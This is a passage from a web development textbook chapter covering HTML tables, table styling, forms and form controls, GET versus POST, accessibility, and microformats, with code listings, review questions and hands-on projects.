Remember that CSS3 allows you to specify the alpha transparency of
any color.

5. Finally, the header uses the font Merriweather which will have to be
supplemented with other options in the font stack in the event that font is
not present on the client's computer.

Testing
1. First, try resizing your browser to ensure the image resizes dynamically

to fill the space, and the floating objects position themselves correctly.

2. Try out different browsers or platforms to see if it really works on all
types of devices. To emulate mobile browsers, shrink the browser size,
as shown in Figure 4.35 .
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5 HTML Tables and Forms



Chapter Objectives
In this chapter you will learn …

What HTML tables are and how to create them

How to use CSS to style tables

What forms are and how they work

What the different form controls are and how to use them

How to improve the accessibility of your websites

What microformats are and how we use them

This chapter covers some key remaining HTML topics. The first of these
topics is HTML tables; the second topic is HTML forms. Tables and forms
often have a variety of accessibility issues, so this chapter also covers
accessibility in more detail. Finally, the chapter covers microformats and
schemas, which are ways to add semantic information to web pages.



5.1 Introducing Tables
A table in HTML is created using the <table> element and can be used to
represent information that exists in a two-dimensional grid. Tables can be
used to display calendars, financial data, pricing tables, and many other types
of data. Just like a real-world table, an HTML table can contain any type of
data: not just numbers, but text, images, forms, even other tables, as shown in
Figure 5.1 .

Figure 5.1 Examples of tables
Figure 5.1 Full Alternative Text



5.1.1 Basic Table Structure
To begin we will examine the HTML needed to implement the following
table.

The Death of Marat Jacques-Louis David 1793 162 cm 128 cm
Burial at Ornans Gustave Courbet 1849 314 cm 663 cm

Hands-on Exercises Lab 5
Exercise
Create a Basic Table Complex Content in Tables

As can be seen in Figure 5.2 , an HTML <table> contains any number of
rows (<tr>); each row contains any number of table data cells (<td>). The
indenting shown in Figure 5.2 is purely a convention to make the markup
more readable by humans.



Figure 5.2 Basic table structure
Figure 5.2 Full Alternative Text

As can be seen in Figure 5.2 , some browsers do not by default display
borders for the table; however, we can do so via CSS.

Many tables will contain some type of headings in the first row. In HTML,
you indicate header data by using the <th> instead of the <td> element, as
shown in Figure 5.3 . Browsers tend to make the content within a <th>
element bold, but you could style it anyway you would like via CSS.



Figure 5.3 Adding table
headings

Figure 5.3 Full Alternative Text

The main reason you should use the <th> element is not, however, due to
presentation reasons. Rather, you should also use the <th> element for
accessibility reasons (it helps those using screen readers, which we will cover
in more detail later in this chapter) and for search engine optimization
reasons.



5.1.2 Spanning Rows and Columns
So far, you have learned two key things about tables. The first is that all
content must appear within the <td> or <th> container. The second is that
each row must have the same number of <td> or <th> containers. There is a
way to change this second behavior. If you want a given cell to cover several
columns or rows, then you can do so by using the colspan or rowspan
attributes (Figure 5.4 ).

Figure 5.4 Spanning columns
Figure 5.4 Full Alternative Text



Hands-on Exercises Lab 5
Exercise
Spanning Rows and Columns

Spanning rows is a little less common and perhaps a little more complicated
because the rowspan affects the cell content in multiple rows, as can be seen
in Figure 5.5 .



Figure 5.5 Spanning rows
Figure 5.5 Full Alternative Text

5.1.3 Additional Table Elements
While the previous sections cover the basic elements and attributes for most
simple tables, there are some additional table elements that can add additional
meaning and accessibility to one's tables.

Figure 5.6 illustrates these additional (and optional) table elements.



Figure 5.6 Additional table
elements



Figure 5.6 Full Alternative Text

The <caption> element is used to provide a brief title or description of the
table, which improves the accessibility of the table, and is strongly
recommended. You can use the caption-side CSS property to change the
position of the caption below the table.

Hands-on Exercises Lab 5
Exercise
Alternate Table Structure Elements

The <thead>, <tfoot>, and <tbody> elements tend in practice to be used
quite infrequently. However, they do make some sense for tables with a large
number of rows. With CSS, one could set the height and overflow
properties of the <tbody> element so that its content scrolls, while the header
and footer of the table remain always on screen.

The <col> and <colgroup> elements are also mainly used to aid in the
eventual styling of the table. Rather than styling each column, you can style
all columns within a <colgroup> with just a single style. Unfortunately, the
only properties you can set via these two elements are borders, backgrounds,
width, and visibility, and only if they are not overridden in a <td>, <th>, or
<tr> element (which, because they are more specific, will override any style
settings for <col> or <colgroup>). As a consequence, they tend to not be
used very often.

5.1.4 Using Tables for Layout
Prior to the broad support for CSS in browsers, HTML tables were frequently
used to create page layouts. Since HTML block-level elements exist on their
own line, tables were embraced by developers in the 1990s as a way to get
block-level HTML elements to sit side by side on the same line. Figure 5.7



illustrates a typical example of how tables were used for layout. The first
image shows the layout as the user would see it; the second has borders
turned on so that you can see the embedded table within the first table. It was
not uncommon for a complex layout to have dozens of embedded tables.



Figure 5.7 Example of using



tables for layout
Figure 5.7 Full Alternative Text

Unfortunately, this practice of using tables for layout had some problems.
The first of these problems is that this approach tended to dramatically
increase the size of the HTML document. As you can see in Figure 5.7 , the
large number of extra tags required for <table> elements can significantly
bloat the HTML document. These larger files take longer to download, but
more importantly, were often more difficult to maintain because of the extra
markup.

A second problem with using tables for markup is that the resulting markup is
not semantic. Tables are meant to indicate tabular data; using <table>
elements simply to get two block elements side by side is an example of
using markup simply for presentation reasons.

The other key problem is that using tables for layout results in a page that is
not accessible, meaning that for users who rely on software to voice the
content, table-based layouts can be extremely uncomfortable and confusing
to understand.

It is much better to use CSS for layout. The next chapter will examine how to
use CSS for layout purposes. Unfortunately, as we will discover, the CSS
required to create complicated (and even relatively simple) layouts is not
exactly easy and intuitive. For this reason, many developers still continue to
use tables for layout, though it is a practice that this book strongly
discourages.



5.2 Styling Tables
There is certainly no limit to the way one can style a table. While most of the
styling that one can do within a table is simply a matter of using the CSS
properties from Chapter 4, there are a few properties unique to styling tables
that you have not yet seen.

5.2.1 Table Borders
As can be seen in Figure 5.8 , borders can be assigned to both the <table>
and the <td> element (they can also be assigned to the <th> element as well).
Interestingly, borders cannot be assigned to the <tr>, <thead>, <tfoot>, and
<tbody> elements.





Figure 5.8 Styling table borders
Figure 5.8 Full Alternative Text

Notice as well the border-collapse property. This property selects the
table's border model. The default, shown in the second screen capture in
Figure 5.8 , is the separated model or value. In this approach, each cell has
its own unique borders. You can adjust the space between these adjacent
borders via the border-spacing property, as shown in the final screen
capture in Figure 5.8 . In the third screen capture, the collapsed border
model is being used; in this model adjacent cells share a single border.

Note
While now officially deprecated in HTML5, there are a number of table
attributes that are still supported by the browsers and which you may find in
legacy markup. These include the following attributes:

width, height—for setting the width and height of cells

cellspacing—for adding space between every cell in the table

cellpadding—for adding space between the content of the cell and its
border

bgcolor—for changing the background color of any table element

background—for adding a background image to any table element

align—for indicating the alignment of a table in relation to the
surrounding container

You should avoid using these attributes for new markup and instead use the
appropriate CSS properties instead.



5.2.2 Boxes and Zebras
While there is almost no end to the different ways one can style a table, there
are a number of pretty common approaches. We will look at two of them
here. The first of these is a box format, in which we simply apply background
colors and borders in various ways, as shown in Figure 5.9 .





Figure 5.9 An example boxed
table

Figure 5.9 Full Alternative Text
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We can then add special styling to the :hover pseudo-class of the <tr>
element, to highlight a row when the mouse cursor hovers over a cell, as
shown in Figure 5.10 . That figure also illustrates how the pseudo-element
nth-child (covered in Chapter 4) can be used to alternate the format of every
second row.



Figure 5.10 Hover effect and
zebra stripes

Figure 5.10 Full Alternative Text



5.3 Introducing Forms
Forms provide the user with an alternative way to interact with a web server.
Up to now, clicking hyperlinks was the only mechanism available to the user
for communicating with the server. Forms provide a much richer mechanism.
Using a form, the user can enter text, choose items from lists, and click
buttons. Typically, programs running on the server will take the input from
HTML forms and do something with it, such as save it in a database, interact
with an external web service, or customize subsequent HTML based on that
input.

Prior to HTML5, there were a limited number of data-entry controls available
in HTML forms. There were controls for entering text, controls for choosing
from a list, buttons, checkboxes, and radio buttons. HTML5 has added a
number of new controls as well as more customization options for the
existing controls.

5.3.1 Form Structure
A form is constructed in HTML in the same manner as tables or lists: that is,
using special HTML elements. Figure 5.11 illustrates a typical HTML form.



Figure 5.11 Sample HTML
form

Figure 5.11 Full Alternative Text
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Notice that a form is defined by a <form> element, which is a container for
other elements that represent the various input elements within the form as
well as plain text and almost any other HTML element. The meaning of the



various attributes shown in Figure 5.11 is described later.

Note
While a form can contain most other HTML elements, a form cannot contain
another <form> element.

5.3.2 How Forms Work
While forms are constructed with HTML elements, a form also requires some
type of server-side resource that processes the user's form input as shown in
Figure 5.12 .



Figure 5.12 How forms work
Figure 5.12 Full Alternative Text

The process begins with a request for an HTML page that contains some type
of form on it. This could be something as complex as a user registration form
or as simple as a search box. After the user fills out the form, there needs to
be some mechanism for submitting the form data back to the server. This is
typically achieved via a submit button, but through JavaScript, it is possible



to submit form data using some other type of mechanism.

Because interaction between the browser and the web server is governed by
the HTTP protocol, the form data must be sent to the server via a standard
HTTP request. This request is typically some type of server-side program that
will process the form data in some way; this could include checking it for
validity, storing it in a database, or sending it in an email. In Chapters 11 and
12, you will learn how to write PHP scripts to process form input. In the
remainder of this chapter, you will learn only how to construct the user
interface of forms through HTML.

5.3.3 Query Strings
You may be wondering how the browser “sends” the data to the server. As
mentioned in Chapter 2, this occurs via an HTTP request. But how is the data
packaged in a request?

The browser packages the user's data input into something called a query
string. A query string is a series of name=value pairs separated by
ampersands (the & character). In the example shown in Figure 5.12 , the
names in the query string were defined by the HTML form (see Figure 5.11 );
each form element (i.e., the first <input> elements and the <select>
element) contains a name attribute, which is used to define the name for the
form data in the query string. The values in the query string are the data
entered by the user.

Figure 5.13 illustrates how the form data (and its connection to form
elements) is packaged into a query string.



Figure 5.13 Query string data
and its connection to the form
elements

Figure 5.13 Full Alternative Text

Query strings have certain rules defined by the HTTP protocol. Certain
characters such as spaces, punctuation symbols, and foreign characters cannot
be part of a query string. Instead, such special symbols must be URL encoded
(also called percent encoded), as shown in Figure 5.14 .



Figure 5.14 URL encoding
Figure 5.14 Full Alternative Text

5.3.4 The <form> Element
The example HTML form shown in Figure 5.11 contains two important
attributes that are essential features of any form, namely, the action and the
method attributes.
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The action attribute specifies the URL of the server-side resource that will
process the form data. This could be a resource on the same server as the
form or a completely different server. In this example (and of course in this
book as well), we will be using PHP pages to process the form data. There
are other server technologies, each with their own extensions, such as
ASP.NET (.aspx), ASP (.asp), and Java Server Pages (.jsp). Some server
setups, it should be noted, hide the extension of their server-side programs.

The method attribute specifies how the query string data will be transmitted
from the browser to the server. There are two possibilities: GET and POST.

What is the difference between GET and POST? The difference resides in
where the browser locates the user's form input in the subsequent HTTP
request. With GET, the browser locates the data in the URL of the request;
with POST, the form data is located in the HTTP header after the HTTP
variables. Figure 5.15 illustrates how the two methods differ.

http://ASP.NET


Figure 5.15 GET versus POST
Figure 5.15 Full Alternative Text

Which of these two methods should one use? Table 5.1 lists the key
advantages and disadvantages of each method.

Table 5.1 GET versus POST



Type Advantages and Disadvantages

GET

Data can be clearly seen in the address bar. This may be an
advantage during development but a disadvantage in
production.

Data remains in browser history and cache. Again this may
be beneficial to some users, but a security risk on public
computers.

Data can be bookmarked (also an advantage and a
disadvantage).

Limit on the number of characters in the form data
returned.

POST

Data can contain binary data.

Data is hidden from user.

Submitted data is not stored in cache, history, or
bookmarks.

Security Note
It should be noted that while the POST method “hides” form data in the
HTTP header, it is by no means unavailable for examination. Browser tools
allow any user to easily inspect the HTTP header. As a result, the POST
method is NOT sufficient from a security standpoint. Transmitting sensitive
information in a form (for instance, login information) typically involves
encryption using the HTTPS protocol. Chapter 18 will discuss form security
in more detail.

Generally, form data is sent using the POST method. However, the GET



method is useful when you are testing or developing a system, since you can
examine the query string directly in the browser's address bar. Since the GET
method uses the URL to transmit the query string, form data will be saved
when the user bookmarks a page, which may be desirable, but is generally a
potential security risk for shared use computers. And needless to say, any
time passwords are being transmitted, they should be transmitted via the POST
method.



5.4 Form Control Elements
Despite the wide range of different form input types in HTML5, there are
only a relatively small (but growing) number of form-related HTML
elements, as shown in Table 5.2. This section will examine how these
elements are typically used.

Table 5.2 Form-Related HTML
Elements

Type Description
<button> Defines a clickable button.

<datalist>
An HTML5 element that defines lists of pre-defined
values to use with input fields.

<fieldset> Groups related elements in a form together.
<form> Defines the form container.

<input>
Defines an input field. HTML5 defines over 20
different types of input.

<label> Defines a label for a form input element.
<legend> Defines the label for a fieldset group.
<option> Defines an option in a multi-item list.
<optgroup> Defines a group of related options in a multi-item list.
<select> Defines a multi-item list.
<textarea> Defines a multiline text entry box.
<output> Defines the result of a calculation.

5.4.1 Text Input Controls



Most forms need to gather text information from the user. Whether it is a
search box, or a login form, or a user registration form, some type of text
input is usually necessary. Table 5.3 lists the different text input controls.

Table 5.3 Text Input Controls
Type Description

text
Creates a single-line text entry box.

<input type=“text” name=“title” />

textarea

Creates a multiline text entry box. You can add content
text or if using an HTML5 browser, placeholder text
(hint text that disappears once user begins typing into the
field).

<textarea rows=“3” … />

password

Creates a single-line text entry box for a password
(which masks the user entry as bullets or some other
character)

<input type=“password” … />

search

Creates a single-line text entry box suitable for a search
string. This is an HTML5 element. Some browsers on
some platforms will style search elements differently or
will provide a clear field icon within the text box.

<input type=“search” … />

Creates a single-line text entry box suitable for entering



email

an email address. This is an HTML5 element. Some
devices (such as the iPhone) will provide a specialized
keyboard for this element. Some browsers will perform
validation when form is submitted.

<input type=“email” … />

tel

Creates a single-line text entry box suitable for entering
a telephone. This is an HTML5 element. Since telephone
numbers have different formats in different parts of the
world, current browsers do not perform any special
formatting or validation. Some devices may, however,
provide a specialized keyboard for this element.

<input type=“tel” … />

url

Creates a single-line text entry box suitable for entering
a URL. This is an HTML5 element. Some devices may
provide a specialized keyboard for this element. Some
browsers also perform validation on submission.

<input type=“url” … />

While some of the HTML5 text elements are not uniformly supported by all
browsers, they still work as regular text boxes in older browsers. Figure 5.16
illustrates the various text element controls and some examples of how they
look in selected browsers.



Figure 5.16 Text input controls
Figure 5.16 Full Alternative Text

Pro Tip



Query strings can make a URL quite long. While the HTTP protocol does not
specify a limit to the size of a query string, browsers and servers do impose
practical limitations. For instance, the maximum length of a URL for Internet
Explorer is 2083 bytes, while the Apache web server limits the URL to about
8000 bytes.

Pro Tip
HTML5 added some helpful additions to the form designer's repertoire. The
first of these is the pattern attribute for text controls. This attribute allows
you to specify a regular expression pattern that the user input must match.
You can use the placeholder attribute to provide guidance to the user about
the expected format of the input. Figure 5.17 illustrates a sample pattern for a
Canadian postal code. You will learn more about regular expressions in
Chapter 15.

Figure 5.17 Using the pattern
attribute

Figure 5.17 Full Alternative Text

Another addition is the required attribute, which allows you to tell the
browser that the user cannot leave the field blank, but must enter something
into it. If the user leaves the field empty, then the browser will display a
message.

The autofocus attribute can be added to the one form element on the page
which should automatically have the focus (i.e., it will be selected or have the



cursor in it) when the page loads.

The autocomplete attribute is also a new addition to HTML5. It tells the
browser whether the control (or the entire form if placed within the <form>
element) should have autocomplete enabled, which allows the browser to
display predictive options for the element based on previously entered values.

The new <datalist> element is another new addition to HTML5. This
element allows you to define a list of elements that can appear in a drop-
down autocomplete style list for a text element. This can be helpful for
situations in which the user must have the ability to enter anything, but are
often entering one of a handful of common elements. In such a case, the
<datalist> can be helpful. Figure 5.18 illustrates a sample usage.

Figure 5.18 Using the
<datalist> element

Figure 5.18 Full Alternative Text

It should be noted that there are a variety of JavaScript-based autocomplete
solutions that are often better choices than the HTML5 <datalist> since
they work on multiple browsers (the <datalist> is not supported by all
browsers) and provide better customization.



5.4.2 Choice Controls
Forms often need the user to select an option from a group of choices. HTML
provides several ways to do this.
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Select Lists
The <select> element is used to create a multiline box for selecting one or
more items. The options (defined using the <option> element) can be hidden
in a drop-down list or multiple rows of the list can be visible. Option items
can be grouped together via the <optgroup> element. The selected attribute
in the <option> makes it a default value. These options can be seen in Figure
5.19 .



Figure 5.19 Using the <select>
element

Figure 5.19 Full Alternative Text

The value attribute of the <option> element is used to specify what value
will be sent back to the server in the query string when that option is selected.
The value attribute is optional; if it is not specified, then the text within the
container is sent instead, as can be seen in Figure 5.20 .



Figure 5.20 The value attribute
Figure 5.20 Full Alternative Text

Radio Buttons
Radio buttons are useful when you want the user to select a single item from
a small list of choices and you want all the choices to be visible. As can be
seen in Figure 5.21 , radio buttons are added via the <input type=“radio”>
element. The buttons are made mutually exclusive (i.e., only one can be
chosen) by sharing the same name attribute. The checked attribute is used to
indicate the default choice, while the value attribute works in the same
manner as with the <option> element.



Figure 5.21 Radio buttons
Figure 5.21 Full Alternative Text

Checkboxes
Checkboxes are used for getting yes/no or on/off responses from the user. As
can be seen in Figure 5.22 , checkboxes are added via the <input
type=“checkbox”> element. You can also group checkboxes together by
having them share the same name attribute. Each checked checkbox will have
its value sent to the server.

Figure 5.22 Checkbox buttons
Figure 5.22 Full Alternative Text



Like with radio buttons, the checked attribute can be used to set the default
value of a checkbox.

5.4.3 Button Controls
HTML defines several different types of buttons, which are shown in Table
5.4. As can be seen in that table, there is some overlap between two of the
button types. Figure 5.23 demonstrates some sample button elements.

Figure 5.23 Example button



elements
Figure 5.23 Full Alternative Text

Table 5.4 Button Elements
Type Description

<input

type=“submit”>

Creates a button that submits the form data to the
server.

<input

type=“reset”>

Creates a button that clears any of the user's
already entered form data.

<input

type=“button”>

Creates a custom button. This button may require
JavaScript for it to actually perform any action.

<input

type=“image”>

Creates a custom submit button that uses an
image for its display.

<button>

Creates a custom button. The <button> element
differs from <input type=“button”> in that you
can completely customize what appears in the
button; using it, you can, for instance, include
both images and text, or skip server-side
processing entirely by using hyperlinks.

You can turn the button into a submit button by
using the type=“submit” attribute.
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Button Controls

5.4.4 Specialized Controls
There are two important additional special-purpose form controls that are
available in all browsers. The first of these is the <input type=“hidden”>
element, which will be covered in more detail in Chapter 16 on State
Management. The other specialized form control is the <input
type=“file”> element, which is used to upload a file from the client to the
server. The usage and user interface for this control are shown in Figure 5.24
. The precise look for this control can vary from browser to browser, and
platform to platform.

Figure 5.24 File upload control
(in Chrome)

Figure 5.24 Full Alternative Text
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Notice that the <form> element must use the post method and that it must



include the enctype=“multipart/form-data” attribute as well. As we have
seen in the section on query strings, form data is URL encoded (i.e.,
enctype=“application/x-www-form-urlencoded”). However, files cannot
be transferred to the server using normal URL encoding, hence the need for
the alternative enctype attribute. Chapter 12 provides insight and examples if
the server-side processing needed to handle the uploaded file.

Number and Range
HTML5 introduced two new controls for the input of numeric values. When
input via a standard text control, numbers typically require validation to
ensure that the user has entered an actual number and, because the range of
numbers is infinite, the entered number has to be checked to ensure it is not
too small or too large.

The number and range controls provide a way to input numeric values that
eliminate the need for client-side numeric validation (for security reasons you
would still check the numbers for validity on the server). Figure 5.25
illustrates the usage and appearance of these numeric controls.



Figure 5.25 Number and range
input controls

Figure 5.25 Full Alternative Text

Dive Deeper
While the range type is the preferred mechanism for getting a scalar number
from a user, HTML5 provides the <meter> element as an alternate way to
display a number in a range. The related <progress> element is used to
provide feedback on the completion of a task. It is used to visualize task
completion as a percentage. It is common to use JavaScript to dynamically
move this progress bar at run time.

Figure 5.26 illustrates how to use the <meter> and <progress> elements and
how they appear in the browser.

Figure 5.26 Displaying
numbers using the <meter>



and <progress> elements
Figure 5.26 Full Alternative Text

Color
Not every web page needs the ability to get color data from the user, but
when it is necessary, the HTML5 color control provides a convenient
interface for the user, as shown in Figure 5.27 . At the time of writing, only
the latest versions of Chrome and Opera support this control.

Figure 5.27 Color input control
Figure 5.27 Full Alternative Text



5.4.5 Date and Time Controls
Asking the user to enter a date or time is a relatively common web
development task. Like with numbers, dates and times often need validation
when gathering this information from a regular text input control. From a
user's perspective, entering dates can be tricky as well: you probably have
wondered at some point in time when entering a date into a web form, what
format to enter it in, whether the day comes before the month, whether the
month should be entered as an abbreviation or a number, and so on. The new
date and time controls in HTML try to make it easier for users to input these
tricky date and time values.
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Note
There are four additional form elements that we have not covered here. The
<progress> and <meter> elements can be used to provide feedback to users,
but require JavaScript to function dynamically. The <output> element can be
used to hold the output from a calculation. This could be used in a form as a
way, for instance, to semantically mark up a subtotal or a count of the
number of items in a shopping cart. Finally, the <keygen> element can be
used to hold a private key for public-key encryption.

Table 5.5 lists the various HTML5 date and time controls. Their usage and
appearance in the browser are shown in Figure 5.28 .



Figure 5.28 Date and time
controls
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Table 5.5 HTML5 Date and
Time Controls

Type Description

date
Creates a general date input control. The format for the
date is “yyyy-mm-dd.”

time
Creates a time input control. The format for the time is
“HH:MM:SS,” for hours:minutes:seconds.

datetime
Creates a control in which the user can enter a date and
time.

datetime-

local

Creates a control in which the user can enter a date and
time without specifying a time zone.

month
Creates a control in which the user can enter a month in
a year. The format is “yyyy-mm.”

week
Creates a control in which the user can specify a week
in a year. The format is “yyyy-W##.”



5.5 Table and Form Accessibility
Web developers should be aware that not all web users are able to view the
content on web pages in the same manner. Users with sight disabilities, for
instance, experience the web using voice reading software. Color blind users
might have trouble differentiating certain colors in proximity; users with
muscle control problems may have difficulty using a mouse, while older
users may have trouble with small text and image sizes. The term web
accessibility refers to the assistive technologies, various features of HTML
that work with those technologies, and different coding and design practices
that can make a site more usable for people with visual, mobility, auditory,
and cognitive disabilities.

In order to improve the accessibility of websites, the W3C created the Web
Accessibility Initiative (WAI) in 1997. The WAI produces guidelines and
recommendations as well as organizing different working groups on different
accessibility issues. One of its most helpful documents is the Web Content
Accessibility Guidelines, which is available at http://www.w3.org/WAI/intro/
wcag.php.

Perhaps the most important guidelines in that document are:

Provide text alternatives for any nontext content so that it can be
changed into other forms people need, such as large print, braille,
speech, symbols, or simpler language.

Create content that can be presented in different ways (for example,
simpler layout) without losing information or structure.

Make all functionality available from a keyboard.

Provide ways to help users navigate, find content, and determine where
they are.

The guidelines provide detailed recommendations on how to achieve this
advice. This section will look at how one can improve the accessibility of

http://www.w3.org/WAI/intro/wcag.php


tables and forms, two HTML structures that are often plagued by a variety of
accessibility issues.

5.5.1 Accessible Tables
HTML tables can be quite frustrating from an accessibility standpoint. Users
who rely on visual readers can find pages with many tables especially
difficult to use. One vital way to improve the situation is to only use tables
for tabular data, not for layout. Using the following accessibility features for
tables in HTML can also improve the experience for those users:

1. Describe the table's content using the <caption> element (see Figure 5.6
). This provides the user with the ability to discover what the table is
about before having to listen to the content of each and every cell in the
table. If you have an especially long description for the table, consider
putting the table within a <figure> element and use the <figcaption>
element to provide the description.

2. Connect the cells with a textual description in the header. While it is
easy for a sighted user to quickly see what row or column a given data
cell is in, for users relying on visual readers, this is not an easy task.

It is quite revealing to listen to reader software recite the contents of a table
that has not made these connections. It sounds like this: “row 3, cell 4: 45.56;
row 3, cell 5: Canada; row 3, cell 6: 25,000; etc.” However, if these
connections have been made, it sounds instead like this: “row 3, Average:
45.56; row 3, Country: Canada; row 3, City Count: 25,000; etc.,” which is a
significant improvement.

Listing 5.1 illustrates how to use the scope attribute to connect cells with
their headers.

Listing 5.1 Connecting cells with
headers



<table> 

   <caption>Famous Paintings</caption> 

   <tr>

      <th scope=“col”>Title</th> 

      <th scope=“col”>Artist</th> 

      <th scope=“col”>Year</th> 

      <th scope=“col”>Width</th> 

      <th scope=“col”>Height</th> 

   </tr>

   <tr>

      <td>The Death of Marat</td> 

      <td>Jacques-Louis David</td> 

      <td>1793</td>

      <td>162cm</td>

      <td>128cm</td>

   </tr> 

   <tr> 

      <td>Burial at ornans</td> 

      <td>Gustave Courbet</td> 

      <td>1849</td> 

      <td>314cm</td> 

      <td>663cm</td> 

   </tr> 

</table>

5.5.2 Accessible Forms
HTML forms are also potentially problematic from an accessibility
standpoint. If you remember the advice from the WAI about providing
keyboard alternatives and text alternatives, your forms should be much less
of a problem.

The forms in this chapter already made use of the <fieldset>, <legend>, and
<label> elements, which provide a connection between the input elements in
the form and their actual meaning. In other words, these controls add
semantic content to the form.

While the browser does provide some unique formatting to the <fieldset>
and <legend> elements, their main purpose is to logically group related form
input elements together with the <legend> providing a type of caption for
those elements. You can of course use CSS to style (or even remove the



default styling) these elements.

The <label> element has no special formatting (though we can use CSS to
do so). Each <label> element should be associated with a single input
element. You can make this association explicit by using the for attribute, as
shown in Figure 5.29 . Doing so means that if the user clicks on or taps the
<label> text, that control will receive the form's focus (i.e., it becomes the
current input element and any keyboard input will affect that control).

Figure 5.29 Associating labels
and input elements

Figure 5.29 Full Alternative Text

Background
In the mid-2000s, websites became much more complicated as new
JavaScript techniques allowed developers to create richer user experiences
almost equivalent to what was possible in dedicated desktop applications.
These richer Internet applications were (and are) a real problem for the



accessibility guidelines that had developed around a much simpler web page
paradigm. The W3C's Website Accessibility Initiative (WAI) developed a
new set of guidelines for Accessible Rich Internet Applications (ARIA).

The specifications and guidance in the WAI-ARIA site are beyond the scope
of this book. Much of its approach is based on assigning standardized roles
via the role attribute to different elements in order to make clear just what
navigational or user interface role some HTML element has on the page.
Some of the ARIA roles include: navigation, link, tree, dialog, menu, and
toolbar.



5.6 Microformats
The Web has millions of pages in it. Yet, despite the incredible variety, there
is a surprising amount of similar information from site to site. Most sites have
some type of Contact Us page, in which addresses and other information are
displayed; similarly, many sites contain a calendar of upcoming events or
information about products or news. The idea behind microformats is that if
this type of common information were tagged in similar ways, then
automated tools would be able to gather and transform it.

Thus, a microformat is a small pattern of HTML markup and attributes to
represent common blocks of information such as people, events, and news
stories so that the information in them can be extracted and indexed by
software agents. Figure 5.30 illustrates this process.



Figure 5.30 Microformats
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One common microformat is hCard, which is used to semantically mark up
contact information for a person. Google Map search results now make use of
the hCard microformat so that if you used the appropriate browser extension,
you could save the information to your computer or phone's contact list.

Listing 5.2 illustrates the example markup for a person's contact information
that uses the hCard microformat. To learn more about the hCard format, visit
http://microformats.org/wiki/hcard.

Listing 5.2 Example of an hCard
<div class=“vcard”> 

    <span class=“fn”>Randy Connolly</span> 

    <div class=“org”>Mount Royal University</div> 

    <div class=“adr”> 

        <div class=“street-address”>4825 Mount Royal Gate SW</div>

        <div>  

           <span class=“locality”>Calgary</span>,  

           <abbr class=“region” title=“Alberta”>AB</abbr>  

           <span class=“postal-code”>T3E 6K6</span> 

        </div> 

        <div class=“country-name”>Canada</div> 

    </div> 

    <div>Phone: <span class=“tel”>+1-403-440-6111</span></div> 

</div>

An increasingly popular semantic vocabulary used in microformats is
schema.org. Schema.org aims to create and promote schemas for structured
data on the Web and is supported by Google, Microsoft, and Yahoo. Its
website states that its purpose is to provide “a collection of shared
vocabularies webmasters can use to mark up their pages in ways that can be
understood by the major search engines.” Whenever you use a search engine
and the search results provide you with structured details (as can be seen on
the right side of the search engines screens shown in Figure 5.31 ), this is due

http://microformats.org/wiki/hcard
http://schema.org


to the web developers making use of vocabulary from schema.org. Schemas
have been defined for a wide range of information: events, people, places,
products, reviews, books, movies, recipes, organizations, and so on.

Figure 5.31 How search engines
use semantic information

Figure 5.31 Full Alternative Text

Listing 5.3 shows how the same content from the hCard example in Listing
5.2 can be formatted using the semantic definitions from schema.org.

http://schema.org
http://schema.org


Listing 5.3 Schema.org semantic
markup example
<div itemscope itemtype=“http://schema.org/Person”> 

   <a itemprop=“url” href=“http://mtroyal.ca”> 

      <div itemprop=“name”><strong>Randy Connolly</strong></div> 

   </a> 

   <div itemscope itemtype=“http://schema.org/Organization”>

   <span itemprop=“name”>Mount Royal University</span></div> 

   <div itemprop=“jobtitle”>Professor</div> 

   <div itemprop=“address” itemscope itemtype=“http://schema.org/PostalAddress”

      <div itemprop=“streetAddress”>4825 Mount Royal Gate SW</div>

      <div><span itemprop=“addressLocality”>Calgary</span>, <span 

      <div itemprop=“postalCode”>T3E 6K6</div> 

      <div  itemprop=“addressCountry”>Canada</div> 

   </div> 

   <div  itemprop=“email”>rconnoly@mtroyal.ca</div> 

   <div  itemprop=“telephone”>1-403-440-6111</div> 

</div>

Google's on-line testing tool helps developers test their semantic markup and
microformats (https://search.google.com/structured-data/testing-tool/u/0/).
Some sites are instead using a JavaScript-based approach (JSON-LD) for
adding schema.org information for search engines.

https://search.google.com/structured-data/testing-tool/u/0/
http://schema.org


5.7 Chapter Summary
This chapter has examined the remaining essential HTML topics: tables and
forms. Tables are properly used for presenting tabular data, though in the
past, tables were also used for page layout. Forms provide a way to send
information to the server, and are thus an essential part of almost any real
website. Both forms and tables have accessibility issues, and this chapter also
examined how the accessibility of websites can be improved through the
correct construction of tables and forms. Finally, this chapter covered
microformats, which can be used to provide additional semantic information
about snippets of information within a page.

5.7.1 Key Terms
checkbox

colspan

form

GET

hCard

microformat

POST

query string

radio buttons

rowspan

schema.org



table

URL encoded

web accessibility

Web Accessibility Initiative (WAI)

5.7.2 Review Questions
1. 1. What are the elements used to define the structure of an HTML table?

2. 2. Describe the purpose of a table caption and the table heading
elements.

3. 3. How are the rowspan and colspan attributes used?

4. 4. Create a table that correctly uses the caption, thead, tfoot, and
tbody elements. Briefly discuss the role of each of these elements.

5. 5. What are the drawbacks of using tables for layout?

6. 6. What is the difference between HTTP GET and POST? What are the
advantages/disadvantages of each?

7. 7. What is a query string?

8. 8. What is URL encoding?

9. 9. What are the two different ways of passing information via the URL?

10. 10. What is the purpose of the action attribute?

11. 11. In what situations would you use a radio button? A checkbox?

12. 12. What are some of the main additions to form construction in
HTML5?



13. 13. What is web accessibility?

14. 14. How can one make an HTML table more accessible? Create an
example accessible table with three columns and three rows in which the
first row contains table headings.

15. 15. What are microformats? What is their purpose?

16. 16. What is schemna.org and how does it relate to semantic markup?

5.7.3 Hands-On Practice



Project 1: Book Rep Customer
Relations Management

Difficulty Level: Beginners

Overview
Edit Chapter05-project01.html and Chapter05-project01.css so the page looks
similar to that shown in Figure 5.32 .

Hands-on Exercises
Project 5.1



Figure 5.32 Completed Project
1

Figure 5.32 Full Alternative Text

Instructions
1. Within the first <section> element, create the order table. Be sure to



add a <caption>. The color status values are created using markup
similar to: <span class=“status status-pending”>Pending</span>.
The CSS classes status and status-pending have already been defined
for you.

2. Style the table using CSS.

3. Within the second <section> element, create the form. Be sure to use
the <fieldset> and <legend> elements for the form. As well, be sure to
use the appropriate accessibility features in the form.

4. Set up the form's method attribute to GET and its action attribute to
http://www.randyconnolly.com/tests/process.php.

Test
1. Test the form in the browser. Verify that the output from process.php

matches that shown in Figure 5.32 .

2. Change the form method to POST and retest.

Project 2: Art Store

Difficulty Level: Intermediate

Overview
Edit Chapter05-project01.html and Chapter05-project01.css so the page looks
similar to that shown in Figure 5.33 .

http://www.randyconnolly.com/tests/process.php


Hands-on Exercises
Project 5.2



Figure 5.33 Completed Project
2

